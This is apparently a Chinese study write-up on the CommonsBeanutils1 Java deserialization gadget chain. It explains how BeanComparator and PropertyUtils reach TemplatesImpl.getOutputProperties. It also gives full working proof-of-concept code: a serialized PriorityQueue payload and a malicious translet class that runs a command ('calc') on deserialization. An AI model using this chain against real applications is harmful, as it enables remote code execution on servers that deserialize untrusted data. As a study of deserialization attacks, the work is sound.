上一篇学习了CC2中的java.util.PriorityQueue
这个类会进行重排序操作触发比较
CB1链子的出现是为了找到另一个能够利用的比较器(除触发翻译链外)
JavaBean
属性的封装完全符合标准的类叫JavaBean
例如:
public class Person { private String name; private int age;
public String getName() { return this.name; } public void setName(String name) { this.name = name; }
public int getAge() { return this.age; } public void setAge(int age) { this.age = age; }
public boolean isChild() { return age <= 6; } }
|
CommonsBeanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。
|
在commons-beanutils
中提供了一个静态方法PropertyUtils.getProperty
,
让使用者可以直接调用任意JavaBean
的getter
方法,比如:
PropertyUtils.getProperty(new Person(), "name");
|
此时,commons-beanutils
会自动找到name
属性的getter
方法,
也就是getName
,然后调用,获得返回值。
POC
package org.example;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(org.example.evil.EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
BeanComparator
可以看到poc中用到的就是这个BeanComparator
比较器
这个比较器用于比较两个JavaBean
是否相等
它的比较方法:
public int compare( final T o1, final T o2 ) { if ( property == null ) { return internalCompare( o1, o2 ); } try { final Object value1 = PropertyUtils.getProperty( o1, property ); final Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( final IllegalAccessException iae ) { throw new RuntimeException( "IllegalAccessException: " + iae.toString() ); } catch ( final InvocationTargetException ite ) { throw new RuntimeException( "InvocationTargetException: " + ite.toString() ); } catch ( final NoSuchMethodException nsme ) { throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() ); } }
|
其中的这个方法:getProperty()
可以用来获取get封装函数
回忆之前的TemplatesImpl
加载类的方法:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
这个方法:getOutputProperties()
恰好符合以get
开头的JavaBean封装函数的标准
那只要控制:
PropertyUtils.getProperty('TemplatesImpl对象','outputProperties');
|
就可以调用到TemplatesImpl.getOutputProperties()
加载恶意类
恶意类
这个恶意类必须要适用于TemplatesImpl
也就是那时候讨论过的继承AbstractTranslet
如下:
package org.example.evil;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTemplatesImpl extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
如此一来就成功实现了命令执行